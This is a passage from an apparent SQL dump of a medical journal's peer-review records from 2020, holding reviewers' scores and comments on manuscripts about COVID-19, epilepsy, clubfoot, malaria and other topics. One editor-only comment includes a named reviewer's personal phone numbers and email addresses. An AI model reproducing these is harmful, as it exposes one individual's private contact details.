infectious diseases and to describe the main infectious diseases associated with this metabolic disorder.\r\n','','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2016,11689,3971,NULL,'5','g','y','y','y',' The ongoing COVID-19 pandemic spread to the United Kingdom in late January 2020. As of 28 June 2020 there have been 311,965 confirmed cases and 43,575 deaths of confirmed cases, the world\'s second-highest death rate per capita among major countries. There were 53,664 deaths where the death certificate mentioned COVID-19 by 12 June (see Statistics). More than 90% of those dying had underlying illnesses or were over 60 years old. The infection rate is higher in care homes than in the community. There is large regional variation in the outbreak\'s severity. In March, London had the highest number of infections while North East England has the highest infection rate. England is the country of the UK with the highest recorded death rate per capita, while Northern Ireland has the lowest. Healthcare in the UK is devolved to each country. It is crucial that lessons are learnt from the fight against COVID-19. An audit of how and when the decisions were made, lines of accountability and the timing of the decisions would be crucial to understand if unnecessary deaths could have been avoided in this war. Author was well described his opinion against COVID-19 War and strategies.\r\n','','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2018,11689,3339,NULL,'5','g','y','y','y','Epilepsy is an unpredictable, often chronic and debilitating disorder that impacts not only those bearing with it but also those who care for them. Epilepsy is thought to affect more than 100 million individuals and their families worldwide at some point of their lives, thus constituting a major, universal, public health issue. Epilepsy has a great impact on the lives of patients and their caregivers, Burden on caregivers of persons with epilepsy has been studied mainly in children. This study involved One hundred and twelve caregivers made up of 78 female and 34 males. The mean age of the caregiver is 34 years. Aim of the study is to assess quality of life and burden among caregivers of children with epilepsy and author concluded that Caregivers of children with epilepsy in a developing country experience burden mainly from cost of managing epilepsy and comorbidities\r\n','','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2020,11689,5199,NULL,'5','g','y','y','y','Wound healing is a dynamic and complex process which requires suitable environment to promote healing process. With the advancement in technology, more than 3000 products have been developed to treat different types of wounds by targeting various aspects of healing process. The present review traces the history of dressings from its earliest inception to the current status and also discusses the advantage and limitations of the dressing materials.\r\nThe aim of this review is to illuminate the major types of modern wound dressings and their respective applications, with a focus on their unique material and compositional characteristics. This review inspire and guide future studies of wound dressings in an interesting and meaningful direction.\r\nOverall the manuscript is well written with limited data\r\n','','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2021,13884,5299,NULL,'5','G','Y','Y','Y','Interesting study. The article needs a grammar review','Important topic with interesting results. The article needs a grammar review','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2022,11689,5137,NULL,'5','g','y','y','y','Congenital talipes equinovarus (CTEV), also known as clubfoot, is common congenital orthopedic foot deformity in children. Clubfoot is a birth defect that makes one or both of a baby\'s feet point down and turn in. Surgery used to be the main treatment for clubfoot, but orthopedic surgeons now prefer the Ponseti method. This is done in two phases casting phase and bracing phase. The Ponseti method was developed by Dr. Ignacio Ponseti in the 1950s and has since become the preferred method of our doctors.\r\nThis cross-sectional study was conducted at orthopedic department, Nishtar medical university and hospital, Multan. The aim of study was to access clinical profile and efficacy of Ponseti method of treatment in infants.\r\nIn this study Ponseti technique showed excellent outcome in majority of patients. This treatment has a success rate and It is an easy and cost effective technique and usually has no complications as compare to extensive surgical techniques. Our author recommends the Ponseti method as an effective form of treatment for any child with clubfoot, even if your child is older and has never been treated for clubfoot\r\n','','2020-07-24',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2026,11589,4445,NULL,'5','r','Y','Y','N','accepted','','2020-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2027,11589,4134,NULL,'5','G','Y','Y','N','accepted','','2020-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2029,13225,4187,NULL,'4','G','Y','Y','Y','The article entitled \"Hematologic Predictors of Endovascular Retreatment for Recurrent Vasospasm in Aneurysmal Subarachnoid Hemorrhage\" is a research article which explain  the association of hematologic parameters with recurrentclinical vasospasm (defined as acute alteration of mental status, new focal neurological deficits, or both) requiring repeat endovascular treatment.  And got a conclusion Elevated lymphocyte count at the onset of vasospasm in patients requiring treatment for cerebral vasospasm may be indicative of a predisposition to vasospasm recurrence.The monitoring of lymphocyte count would be a novel approach to the early identification of recurrent vasospasm and improve selection of patients who may require retreatment. The article is very interesting and useful for future study. With proper tables the author explain it very nicely. I suggest a small change i.e. the formating and grammer after that this article can publish.','The article entitled \"Hematologic Predictors of Endovascular Retreatment for Recurrent Vasospasm in Aneurysmal Subarachnoid Hemorrhage\" is a research article which explain  the association of hematologic parameters with recurrentclinical vasospasm (defined as acute alteration of mental status, new focal neurological deficits, or both) requiring repeat endovascular treatment.  And got a conclusion Elevated lymphocyte count at the onset of vasospasm in patients requiring treatment for cerebral vasospasm may be indicative of a predisposition to vasospasm recurrence.The monitoring of lymphocyte count would be a novel approach to the early identification of recurrent vasospasm and improve selection of patients who may require retreatment. The article is very interesting and useful for future study. With proper tables the author explain it very nicely. I suggest a small change i.e. the formating and grammer after that this article can publish.','2020-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2030,13225,4322,NULL,'4','G','Y','Y','Y','In this manuscript author described about The Impact of Coronavirus Disease 2019 on Outpatient Neurology. The title is good and informative. The abstract is well written. KEYWORDS are missing. The introduction provide sufficient background information for readers. The text is well arranged. Finally the author found that Telemedicine is an essential tool in practicing clinical neurology and is a necessary skill during the current pandemic of COVID-19. This experience may generate a long-lasting post-pandemic impact on the practice of neurology, even at the residency and fellowship training level. The topic is very interesting and may help in future study.\r\nHowever some minor changes required: grammatical error, sentence formation, reference format.','In this manuscript author described about The Impact of Coronavirus Disease 2019 on Outpatient Neurology. The title is good and informative. The abstract is well written. KEYWORDS are missing. The introduction provide sufficient background information for readers. The text is well arranged. Finally the author found that Telemedicine is an essential tool in practicing clinical neurology and is a necessary skill during the current pandemic of COVID-19. This experience may generate a long-lasting post-pandemic impact on the practice of neurology, even at the residency and fellowship training level. The topic is very interesting and may help in future study.\r\nHowever some minor changes required: grammatical error, sentence formation, reference format.','2020-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2031,13225,4005,NULL,'4','G','Y','Y','Y','In this manuscript author described about USE OF INTRAVENTRICULAR VANCOMYCIN IN NEONATAL MENINGITIS DUE TO ELIZABETHKINGILLA MENINGOSEPTICA. The title is good and informative. The abstract is well written. The introduction provide sufficient background information for readers. The text is well arranged. Finally the author found that Use of intraventricularvancomycin in neonates  especially preterm neonates needs more validation as data available is not enough and needs time test trial. Long term neurological follow up needed to look for adverse effect of vancomycin over neurological behavior of infant over a period of time. The topic is very interesting and may help in future study. I suggest a small change i.e. the formatting and grammar after that this article can publish.','In this manuscript author described about USE OF INTRAVENTRICULAR VANCOMYCIN IN NEONATAL MENINGITIS DUE TO ELIZABETHKINGILLA MENINGOSEPTICA. The title is good and informative. The abstract is well written. The introduction provide sufficient background information for readers. The text is well arranged. Finally the author found that Use of intraventricularvancomycin in neonates  especially preterm neonates needs more validation as data available is not enough and needs time test trial. Long term neurological follow up needed to look for adverse effect of vancomycin over neurological behavior of infant over a period of time. The topic is very interesting and may help in future study. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2032,13225,4134,NULL,'4','G','Y','Y','Y','The article entitled \"Effect of Rigid Ankle Foot Orthosis on Postural Control and Functional mobility in Chronic Ambulatory Stroke Patients\" is a research article which explain  how to determine the effect of rigid AFO on postural control and functional mobility of chronic ambulatory stroke patients. Results of this study will enhance our understanding of the effects of AFO on postural control and provide better basis for prescription of AFOs in ambulatory patients with stroke. And got a conclusion that in chronic ambulatory stroke patients, use of rigid AFO demonstrated significant detrimental effect on static and dynamic postural control;and functional mobility.  The article is very interesting and useful for future study. With proper tables the author explain it very nicely.  Keywords are missing. I suggest a small change i.e. the formatting and grammar after that this article can publish.','The article entitled \"Effect of Rigid Ankle Foot Orthosis on Postural Control and Functional mobility in Chronic Ambulatory Stroke Patients\" is a research article which explain  how to determine the effect of rigid AFO on postural control and functional mobility of chronic ambulatory stroke patients. Results of this study will enhance our understanding of the effects of AFO on postural control and provide better basis for prescription of AFOs in ambulatory patients with stroke. And got a conclusion that in chronic ambulatory stroke patients, use of rigid AFO demonstrated significant detrimental effect on static and dynamic postural control;and functional mobility.  The article is very interesting and useful for future study. With proper tables the author explain it very nicely.  Keywords are missing. I suggest a small change i.e. the formatting and grammar after that this article can publish.','2020-07-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2039,11689,4567,NULL,'5','g','y','y','y','The main objective of this double-blind randomized clinical trial is to to determine whether the dry needling and soft tissue techniques were equally effective in improving symptoms in migraine patients.\r\nThis is the first study that has compared the effect of dry needling and soft tissue technique on changes in the migraine headache symptoms. Both treatments were performed on MTrPs in the UT, SCM and sub-occipital muscles. The findings of this study will provide important information on the value of Dry Needling and Soft tissue techniques to treat symptoms in patients with migraine headache.\r\nDry Needling is an excellent treatment technique for Migraines/Headaches. Dry needling involves inserting long filament needles deep into the trigger points or knotted parts of the muscles, temples and other areas.  In this study soft tissue technique decreased the pain intensity and the NDI more than dry needling method. Soft tissue technique is recommended as an effective therapeutic option for the treatment of migraine headache patients with active TrPs in identifiable muscles.\r\n','','2020-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2043,11876,4005,NULL,'3','G','N','M','Y','1.	the title is not informative about case report \r\n2.	the abstract is not informative, revise it, please see this \r\nhttps://wordvice.com/title-and-abstract-guidelines-for-medical-case-reports/ \r\n3.	KEYWORDS are good \r\n4.	no graphical ABSTRACT\r\n5.	abbreviations need full terms \r\n6.	the introduction provide sufficient background information for readers in the immediate field to understand the problem/hypotheses\r\n7.	the text is well arranged and the logic is in doubt\r\n8.	this neonate had multiple congenital anomalies, one of these is malrotation of intestine\r\nhe had operated for malrotation of intestine, so he had complications for surgery, you did not mentions any \r\nof these, why? \r\n9.	there are many grammatical errors in this article\r\n10.	the related concepts are introduced \r\n11.	the readability is sufficient\r\n12.	the proposed report is not novel\r\n13.	the results are good\r\n14.	rigorous derivation of formulas/ equations work well\r\n15.	the theoretical analysis in this article is \r\n16.	all figures/tables are clear enough to summarize the results for presentation to the readers\r\n17.	Only one figure, not enough\r\n18.	all figures/tables are well referred to in the text\r\n19.	the reference section contains \r\n20.	please use google scholar search engine then set it since 2016\r\n21.	Bias is present\r\n22.	no Plagiarism \r\n23.	Conflict of interest is not mentioned\r\n24.	Ethical committee is not mentioned\r\n25.	Acknowledgement is not mentioned\r\n\r\nQuestions to the authors:\r\n1.	fair writing skills\r\n2.	sequence of events need revisions\r\n3.	logical explanations of complications of surgery not considered well, revise it\r\n4.	one figure is not enough, provide more details\r\n\r\n','This is a medium expert author\r\nmy final decision is accepted after major revisions\r\n','2020-07-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2051,12875,5332,NULL,'1','G','N','Y','N','This is a good effort to review the available literature and Royal College of Obstetrics and Gynecology recommended repair techniques and suture materials for obstetric anal sphincter injury. There is no primary data or author\'s analysis of secondary data. Therefore  the article does not add value to scientific knowledge or operational issues ','This article at best can be called a collation of existing guidelines from a well-known institution. Does not add value to the existing knowledge or describes the operational advantages and disadvantages of following the guidelines.','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2052,9107,4215,NULL,'5','g','y','y','n','COVID19 is a viraPnl infection which is causing chronic pulmanory issues. The article is well explained about everything and good to publish. Pneumonia is the problem that is affecting all the infected people and it is leadingto deathin many cases. Case report is good written and good to proceed further.','','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2053,9107,4215,NULL,'5','g','y','y','n','COVID-19 is a viral infection which is causing chronic pulmonary issues. The article is well explained about everything and good to publish. Pneumonia is the problem that is affecting all the infected people and it is leading to death in many cases. Case report is good written and good to proceed further.','','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2054,5404,4280,NULL,'5','g','y','y','n','Foot and mouth is a very serious virus that causes various diseases in animals. This mainly affects cattles, and few more animals. The commengary article is very well written with relevant images which are adding weigtage to the provied content. Publish the manuscript without any changes.','','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2055,9109,4531,NULL,'5','g','y','y','n','COVID19 is a viraPnl infection which is causing chronic pulmanory issues. The article is well explained about everything and good to publish. Pneumonia is the problem that is affecting all the infected people and it is leadingto deathin many cases. Case report is good written and good to proceed further.\r\n','','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2056,13913,5314,NULL,'4','r','n','M','N','Dear Author, Revise the language of Abstract as it has some non-scientific words such as \"gathering samples \" identify such types of words.Add also some statistics to justify yours arguments.','Dear Editor,\r\nThis abstract may be accepted with the above comments','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2057,13913,5291,NULL,'3','g','D','N','Y','Dear Author,\r\nRevise the whole manuscript as there is no coherence and repetition of words.What is the problem and what you wants to address focus on that only.A lot of paragraphs lost the  reader what you wants to deliver the message.Rephrase and make it coherent with clarity of message.','Dear Edittor,\r\nThe above comments needs to be addressed with major changes please.','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2058,13913,5291,NULL,'3','g','D','N','Y','Dear Author,\r\nRevise the whole manuscript as there is no coherence and repetition of words.What is the problem and what you wants to address focus on that only.A lot of paragraphs lost the  reader what you wants to deliver the message.Rephrase and make it coherent with clarity of message.','Dear Edittor,\r\nThe above comments needs to be addressed with major changes please.','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2059,13913,5215,NULL,'6','g','y','Y','n','Dear Editor,\r\nIts very important topic and very well addressed.','Strongly Recommended ','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2060,13913,5362,NULL,'1','d','n','N','Y','Dear Author,\r\nIt is totally against the scientific evidence the language you stated.\r\nIt looks an article for newspaper.\r\nThe method and results totally wrong.\r\nIts not a scientific research.\r\nThe results could not be genralised\r\n','It is rejected ','2020-07-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2066,7021,4920,NULL,'4','R','Y','Y','Y','This is an interesting study on molecular properties of 2{[2-(4-chlorophenyl)-4-oxoquinazolin-3(4H)-yl]amino}-N-(substitutedphenyl)acetamindes. The differences between CLogP and miLogP clearly described.','','2020-07-29',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2070,669,5245,NULL,'4','G','N','M','Y','The methodology of the study is not suitable to hive ckear indication of the data supporting the stress level. I just accessed the abstract part. I m.not able to access the full content. But the underlying question stressed the situation of the student during pandemic is well appreciated. The research focus should be maximised. ','Please send the full content so that I cam access fill paper. ','2020-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2078,13913,5430,NULL,'3','r','n','N','Y','Dear Author,\r\n1.Include Abstract.\r\n2.Put references upto 10 minimum\r\n3.Justify urs arguments with scientific evidence.\r\n4.How you generalized urs results without any scientific proof.\r\n5.Include in introduction the global,regional situation.\r\n6.Mention what is done about this topic and what needs to be done.\r\n','Dear Editor,\r\nThe above points to e addressed please.','2020-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2079,13913,5428,NULL,'2','D','N','N','Y','Dear Author,\r\n1.Abstract is missing.\r\n2.Very few references.\r\n3.What type of study is this?\r\n4.What are urs objective.\r\n5.The conclusion is not on scientific based evidence.\r\n6.How urs results be generalized and used as a scientific evidence without any proof and significance.','Its needs revision','2020-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2080,13913,5429,NULL,'2','D','N','N','Y','Dear Author,\r\n1.Abstract is missing.\r\n2.Include at least 10 to 15 references.\r\n3.What are urs study objectives.\r\n4.Elaborate the method more.\r\n5.How urs study be generalized \r\n6.What are liitation of urs study.\r\n','Its needs revision','2020-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2081,13913,5431,NULL,'3','D','N','N','Y','Dear Author,\r\n1.Include abstract.\r\n2.Increase number of references at least 10.\r\n3.Describe in method what u done after search.\r\n4.What is urs type of study\r\n5.what are urs objectives?\r\n6.what u wants to derive from the search.\r\n7.How u generalized urs research based on very less evidence.\r\n8.improve the structure and describe what u wants to deliver.','it is needs to be revised','2020-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2082,7022,4502,NULL,'2','4','3','4','4','1.) Expand on difference seen between adult and pediatric population\r\n2.) In the introduction section specify species responsible for malaria transmission.\r\n3.) Mention mechanism of action of quinine and artesenuate and compare between them\r\n4.) It will be helpful if the author makes a flowchart of the study enrollment and follow up procedures done.\r\n5.) Provide information on parasite density before and after the treatment.','','2020-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2083,7022,5222,NULL,'4','4','4','4','4','1.) Overall a very good computational prospective study.\r\n2.) The author needs to comment on the limitations of this study in terms of its clinical use.\r\n3.) The author needs to expand on the specificity of the study and targeting of only the viral particles and not the human cells.','','2020-07-30',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2095,11444,3755,NULL,'4','g','y','y','n','Evaluations\r\nI would like to applause the authors participated in this very significant research topic. I am sure this research work would serve as a good source of information for policy and decision makers and soon-to-be researchers interested to undertake similar study on intention to leave or turnover among health professionals of developing countries. Overall, it is a well-articulated, properly outlined and consistent from the beginning to the end.  The objectives are well addressed. I might have minor feedback on the following sections. \r\nTitle of the study\r\nTitle of the article should be summary or a mini-abstract of what was presented in the whole body of the paper. However, in this study authors have tried to give title of their article based on the one major finding of the study, which is not comprehensive and self-explanatory. Suggested title: Intention to leave current work and associated factors among health professionals of public health centers of Gujii Zone, Southeast Ethiopia.  \r\nAbstract\r\nIn this section, authors should check grammatical and some editorial problems in result section like to be consistent on the way they wrote factors associated with outcome variable. For some factors, they wrote AOR, 95%CI and P-value but for others only AOR and 95%CI. In addition, they have to list all that factors associated with intention to leave. For instance, they did not include work experience in this part. Conclusion of the study should be very informative as they did in the main body of the paper.\r\nMethod and Materials\r\nIn the study setting and design: there is sentence that was stated in such way “There are a total of 659 health professionals and totally there were 1155 health workforce working in public primary health centers”, which is not clear for readers. How many health professionals are there in the health centers? Are they 659 or 1155 in number?\r\nIn list of variables: It would be better to change the layout of variables to make it attractive. In independent variables: what is the difference between pulling factors and pushing factors? Are these variables are mutually exclusive? In pulling factors; there are salary and educational opportunity and the same variables are also listed in pushing variables. I suggest authors to address this issue appropriately. \r\nIn operational definitions: Authors stated that they have calculated mean value to dichotomize intention  to leave and job satisfaction. However, they did not put the mean values of those variables and even they did not tell us the way they have calculated the mean score of each variable.  I commend authors to write the mean value of each variable and clarify the way they did it.   \r\nIn data collection: One thing, it would be better to write sample size determination and data collection procedure in separate section. Authors should also need to describe all necessary assumptions that are helpful to calculate sample size. \r\nThe sampling procedure for this study was stratified random sampling as stated in this section though the findings of this study were not presented according to per strata (urban and rural). As well known, the assumption behind stratified random sampling is that there is difference between the two strata on the outcome of interest (i.e. intention  to leave). So better to appreciate this difference in the result section. Selecting 262 study participants through lottery method is cumbersome. Do not you think? Please tell us, how did you manage this in the fieldwork?\r\nResults\r\nToo many descriptions for one variable. Age was explained in terms of mean, media and range. What is importance describing one variable repeatedly?  Authors used such abbreviations “(ᙾSD_ 4.46) and SD” without any description. What do these abbreviations stands for? In table 1: some variables were presented without unit of measurement (total work experience, service year in the current health facility and salary). On the category of profession, authors wrote certificate as one professional category. Is there such kind of profession? \r\nUnder health professionals intention to leave section, for paragraph 1 and 2, there is no supported by table or figure from where readers can refer what were presented as major findings as well as those that are left unpresented. I recommend authors to add table or figure to make it more informative for their readers. \r\nIn table 2: the second column in table is not self-explanatory ……. “Intention to leave (%)” and improve this. \r\nIn the reasons intention to leave section: All sub-headings (personal factors, push factors, pull factors and job satisfactions) are not supported by appropriate tables or figures to refer from. In addition, denominator to calculate percent for each variable is not described or unknown due to absence of supportive table. I advise authors to improve this and make their presentation understandable. \r\n In the section of factors associated with health professionals’ intention to leave: some of variables are not self-explanatory as presented in the table of supplementary file. For example, it is difficult to say agree or disagree for variable written like this “Career advancement opportunity” in table. Authors should revise those variables to make them flawless. \r\nIn table 3: Authors should use the same font style consistently throughout document. What does mean incentive is good or poor?\r\nDiscussion\r\nIn this section, there are Authors should focus on their pertinent findings and make comparison with others work and then should provide plausible scientific explanations for observed similarity or difference.  \r\nOverall, the paper also needs some language, grammatical and formatting edits in the results and discussion sections.\r\nReference\r\nSome reference are not well written as per standard. For instance, check references listed from 20-24, #26 and #29. \r\n\r\n','','2020-08-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2096,13672,5481,NULL,'1','R','N','Y','N','Thank you for your work.\r\n•	It is not obvious whether the first 7 pages present an abstract, an introduction, a minimal article review or it is a clinical study as there is no title to them and their content is a mix of them. The authors made a long 5 pages as an introduction with a detailed description followed by objective and research material then research results which toke further 3 pages with contents are a description of the NIV procedure that is either just an explanation or a methodology they actually did.\r\n•	Also, in the research material, the authors mentioned that there were 25 patients in the study, which is supposed to be a case report, then they did not tell us what happened to those 25 patients.\r\n•	The authors told us that there is a study which was held from April 1st till August 1st, while the manuscript is submitted before the end of this specified period.\r\n•	Page 1: there is no reference for the first paragraph.\r\n•	The authors used many abbreviations without explanation e.g. Art, DO, PPS, VS, VTBS, DuoPAP, ICPAP, ASV, PI, GRP.\r\n•	“WBC - 18.42 x 109 / L, LYM - 0.51 x 109 / L” it is not 109 but 109.\r\n•	The case report started actually on the last paragraph of the 8th page.\r\n•	Page 16: the statement of “neurological dysfunction according to the Kelly scale> 3-5, modified with a scale for determining the participation of auxiliary respiratory muscles <3 points” needs a reference.\r\n•	In the conclusion, the authors mentioned “combined and combined use of different NIV methods, positional and respiratory therapy, respiratory simulators” while they did not mention any other different methods or modes for NIV, and they did not mention the use of any of the other modalities during the management of their patient.\r\n•	There is no description of the follow up of the laboratory data.\r\n•	There is no need for figures 1 and 2, or you could keep only one of them.\r\n•	No ethical issues are mentioned e.g. a consent from the patient or his relatives, approval of an ethical committee.\r\n•	Lastly, I do not find any big challenge or achievement with a suspected COVID-19 case with acute respiratory failure managed by NIV in an ICU because there are many patients older and having more comorbidities making them at higher risk and with as severe the case as this patient, however, they improve with the standard care modalities.','The case report is not convincing for publication.','2020-08-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2097,13672,5318,NULL,'6','G','Y','Y','N','Thank you for your valuable work.\r\nThe authors made an important research work about the knowledge, and attitude of a sample of population towards COVID-19 pandemic. This study, although targeting a small sample of population, can be a part of further larger studies that will benefit the health care facilities and the community in growing the general practice towards this and further pandemics.','The manuscript is acceptable for publication.','2020-08-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2102,12979,4322,NULL,'4','D','Y','Y','N','-Recommend to use same font throughout the article.\r\n-In the section of Covid -19 and Outpatient Neurology- It is better to use separate headings for each specific Neurologic disease like Headache disorders, Neuro degenerative diseases, Neuromuscular diseases, Neuro-Immunology etc.\r\n\r\nOtherwise no changes suggested.','-With the above mentioned minor changes to authors, I would recommend to publish this article and which will give a perspective about changes to adapt in care of Neurology patients during this ongoing Pandemic.\r\n','2020-08-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2111,11354,5367,NULL,'4','R','Y','Y','Y','This is an important study about the diet of children in Ethiopia. Table 3 seems to be shown twice. Please carefully re-check and proofread a whole manuscript. ','','2020-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2112,11351,5367,NULL,'4','g','y','y','y','       the manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are many spelling errors in this manuscript. See guide for authors for a free grammar checker. E.g.……..etc.  \r\nTitle:-“Level of diversified feeding among school-age children in Northwest Ethiopia: a cross sectional study” please authors should add what the authors are doing in this research.\r\nAbstract should be informative and completely self-explanatory, include the following structures:- \r\n1. Introduction: relevant.\r\n2. Aim of the study: please added the aims or purposes of the research \r\n3. Methods: Please add the study methodology that use in this study in more details.\r\n4. The result; - good.\r\n5. The conclusion should relate to the aim and problem that describe under introduction and aim\r\n6. The keywords good.\r\nIntroduction\r\n1. The introduction is ideally in structures.\r\nMethods\r\n1.The methods section should write in a way that everyone could repeat this study in the same manner. \r\n2. How was the sample size of 422reached?\r\n3. You should added study question, primary objectives and secondary objectives if available.\r\n4. Patient selection: How were the patients selected, who selected the patients, on what criteria. How many patients exclude? Were patients prospectively enroll or retrospectively assessed?\r\n5. Who obtained the consent? How and when consent obtain from patients.\r\n6. What outcome measures used? \r\nResults\r\n1. Results are meaningless without a better description in figures and tables. So please add this, and provide a thorough analysis of these results. This is the core of the manuscript and the most valuable result. \r\nDiscussion\r\n1.A discussion should offer a short overview of the results, and an in depth discussion of the interpretation of them. \r\n2. Do the authors have an explanation on why the results are different compared to other studies?\r\nLimitations of the study:-\r\nYou should added \r\nConclusion:\r\nis logic in manner and relevant.\r\nRecommendations\r\nyou should added \r\nReferences: \r\n1. Please use uniform references, when available with DOI. \r\n2. Make sure update the old references.','Reviewer: - Adel Hamed Elbaih, MBBCH, MSC, MD, Associate Professor of Emergency Medicine, Faculty of Medicine, Sulaiman AlRajhi University (SRU) ,Suez Canal University(SCU), Ismailia, MD Emergency Medicine, SCU, 2011, MSC internal medicine, SCU, 2005, Scholarship and affiliation at Maryland University, USA, 2018. Member of the Egyptian Board of Emergency Medicine, Member of the Arab Board of Emergency Medicine, Egypt, KSA. Telephone: - 00966552804474, WhatsApp: - +201154599748, Email address: - a.elbaih@sr.edu.sa, elbaihzico@yahoo.com, elbaihzico@gmail.com, \r\n       the manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are many spelling errors in this manuscript. See guide for authors for a free grammar checker. E.g.……..etc.  \r\nTitle:-“Level of diversified feeding among school-age children in Northwest Ethiopia: a cross sectional study” please authors should add what the authors are doing in this research.','2020-08-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2121,650,4915,NULL,'5','g','y','y','n','Authors reviewed papers describing COVID19 focusing on vessel diseases. This topic is now very important for researchers and clinicians. This manuscript is worth publishing.','none','2020-08-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2126,12875,5597,NULL,'4','r','n','Y','Y','A good attempt in analyzing the epidemiology, causes, and surgical management. The diagnostic approach, Lab and Imaging investigations, and surgical interventions (including photographs) are well captured. The follow-up for just 2 months is too short to infer the outcomes or survival period after the intervention. Infection rates of 18.7% are high for tertiary-level institutions and needed analysis of the reasons. \r\nHowever, the basic epidemiological analysis falls short of expectation. Authors could have looked into i) The incidence rate by the distribution of the respective age in population ii) Analysis of causes by age groups expecting more malignant causes in 50+ age group iii) Age distribution by gender again by the rate compared to the proportion of the general population. Similarly presenting symptoms (pain) and prominent signs (Tenderness) by location (quadrant of the abdomen) would have added value.','A good description of the diagnostic and immediate surgical outcomes of the \'DYNAMIC INTESTINAL OBSTRUCTION\'. From the point of surgical intervention and management, the paper is good. With minor revisions in epidemiological analysis, the quality of the paper can be further improved. ','2020-08-05',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(2142,13913,5702,NULL,'4','r','D','Y','N','Dear Author,\r\n1.Good work.\r\n2.Include little introduction in the Abstract.\r\n3.Include Objective in the Abstract.','Dear EDITOR,\r\nThe above minor changes 